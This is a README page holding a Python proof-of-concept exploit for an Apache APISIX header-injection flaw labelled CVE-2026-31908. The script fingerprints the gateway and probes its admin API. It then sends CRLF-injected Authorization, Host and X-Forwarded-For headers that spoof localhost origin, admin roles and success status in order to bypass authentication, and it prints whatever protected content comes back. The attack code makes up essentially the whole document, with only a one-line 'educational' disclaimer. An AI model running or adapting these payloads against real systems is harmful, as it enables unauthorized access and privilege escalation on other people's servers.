README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Apache Header Injection Exploit (CVE-2026-31908) - Proof of Concept
Educational Purpose Only - Use in Isolated Lab Environment
MehranTurk (M.T)
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
import time
class Colors:
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
RESET = '\033[0m'
def print_banner():
banner = f"""
{Colors.RED}
╔═══════════════════════════════════════════════════════════════╗
║ Apache Header Injection Exploit (CVE-2026-31908) ║
║ Proof of Concept - MehranTurk (M.T) ║
╚═══════════════════════════════════════════════════════════════╝
{Colors.RESET}
"""
print(banner)
def check_vulnerability(target_url, timeout=5):
print(f"{Colors.BLUE}[*] Scanning target: {target_url}{Colors.RESET}")
try:
response = requests.get(target_url, timeout=timeout)
server_header = response.headers.get('Server', '')
if 'APISIX' in server_header:
print(f"{Colors.GREEN}[+] APISIX detected!{Colors.RESET}")
print(f" Server header: {server_header}")
else:
print(f"{Colors.YELLOW}[!] Server header not found or not APISIX{Colors.RESET}")
except Exception as e:
print(f"{Colors.RED}[-] Connection failed: {e}{Colors.RESET}")
return False
admin_endpoints = [
'/apisix/admin/routes',
'/apisix/admin/services',
'/apisix/admin/upstreams'
]
for endpoint in admin_endpoints:
try:
resp = requests.get(urljoin(target_url, endpoint), timeout=timeout)
if resp.status_code in [401, 403]:
print(f"{Colors.GREEN}[+] Admin API detected at {endpoint} (Auth required){Colors.RESET}")
break
except:
pass
return True
def test_header_injection(target_url, protected_path="/protected", timeout=5):
print(f"\n{Colors.BLUE}[*] Testing header injection vulnerability...{Colors.RESET}")
payloads = [
{
"name": "CRLF Injection in Authorization",
"headers": {
"Authorization": "test\r\nX-Injected: malicious",
"User-Agent": "APISIX-Exploit"
}
},
{
"name": "CRLF Injection in X-Forwarded-For",
"headers": {
"X-Forwarded-For": "127.0.0.1\r\nX-Injected: true",
"User-Agent": "APISIX-Exploit"
}
},
{
"name": "CRLF Injection in Host",
"headers": {
"Host": "evil.com\r\nX-Injected: header",
"User-Agent": "APISIX-Exploit"
}
},
{
"name": "Multiple CRLF Injection",
"headers": {
"Authorization": "test\r\n\r\nGET /admin HTTP/1.1\r\nHost: evil.com",
"User-Agent": "APISIX-Exploit"
}
}
]
vulnerable = False
for payload in payloads:
full_url = urljoin(target_url, protected_path)
try:
response = requests.get(full_url, headers=payload["headers"], timeout=timeout)
if response.status_code in [500, 502, 400]:
print(f"{Colors.YELLOW}[!] Unusual response {response.status_code} with payload: {payload['name']}{Colors.RESET}")
vulnerable = True
else:
print(f"{Colors.GREEN}[+] Payload '{payload['name']}' sent (response: {response.status_code}){Colors.RESET}")
except Exception as e:
print(f"{Colors.RED}[-] Error with payload '{payload['name']}': {e}{Colors.RESET}")
return vulnerable
def exploit_bypass_auth(target_url, protected_path="/protected", timeout=5):
print(f"\n{Colors.BLUE}[*] Attempting authentication bypass...{Colors.RESET}")
exploit_payloads = [
{
"name": "Localhost Bypass",
"headers": {
"Authorization": "test\r\nX-Forwarded-For: 127.0.0.1",
"X-Real-IP": "127.0.0.1"
}
},
{
"name": "Admin Status Injection",
"headers": {
"Authorization": "test\r\nX-Auth-Status: Success",
"X-Admin": "true"
}
},
{
"name": "Role Privilege Escalation",
"headers": {
"Authorization": "test\r\nX-User-Role: admin",
"X-Privilege": "superuser"
}
},
{
"name": "Internal Service Access",
"headers": {
"Authorization": "test\r\nX-Internal-Request: true",
"X-Service-Auth": "bypass"
}
}
]
success = False
for exploit in exploit_payloads:
full_url = urljoin(target_url, protected_path)
try:
response = requests.get(full_url, headers=exploit["headers"], timeout=timeout)
if response.status_code == 200:
print(f"{Colors.GREEN}[!!!] SUCCESS! Authentication bypassed with: {exploit['name']}{Colors.RESET}")
print(f"{Colors.GREEN}[+] Response length: {len(response.text)} bytes{Colors.RESET}")
if len(response.text) > 0:
print(f"\n{Colors.YELLOW}--- Response Preview ---{Colors.RESET}")
print(response.text[:500])
print(f"{Colors.YELLOW}------------------------{Colors.RESET}")
success = True
break
elif response.status_code == 403:
print(f"{Colors.YELLOW}[!] Access denied for {exploit['name']} (403){Colors.RESET}")
else:
print(f"{Colors.BLUE}[i] Response {response.status_code} for {exploit['name']}{Colors.RESET}")
except Exception as e:
print(f"{Colors.RED}[-] Exploit error: {e}{Colors.RESET}")
return success
def main():
parser = argparse.ArgumentParser(description='Apache APISIX Header Injection Exploit (CVE-2026-31908)')
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://192.168.1.100:9080)')
parser.add_argument('-p', '--path', default='/protected', help='Protected path to test (default: /protected)')
parser.add_argument('--timeout', default=5, type=int, help='Request timeout in seconds')
args = parser.parse_args()
print_banner()
target = args.target.rstrip('/')
if not check_vulnerability(target, args.timeout):
print(f"{Colors.RED}[-] Target does not appear to be APISIX or is unreachable{Colors.RESET}")
sys.exit(1)
if test_header_injection(target, args.path, args.timeout):
print(f"{Colors.GREEN}[+] Target appears VULNERABLE to header injection!{Colors.RESET}")
else:
print(f"{Colors.YELLOW}[!] No obvious injection signs detected{Colors.RESET}")
if exploit_bypass_auth(target, args.path, args.timeout):
print(f"\n{Colors.GREEN}{'='*60}{Colors.RESET}")
print(f"{Colors.GREEN}[✓] EXPLOITATION SUCCESSFUL! Access granted to protected resource.{Colors.RESET}")
print(f"{Colors.GREEN}{'='*60}{Colors.RESET}")
else:
print(f"\n{Colors.RED}[✗] Exploitation failed. Target may be patched or requires different payloads.{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Try adjusting the protected path or testing different endpoints.{Colors.RESET}")
if __name__ == "__main__":
main()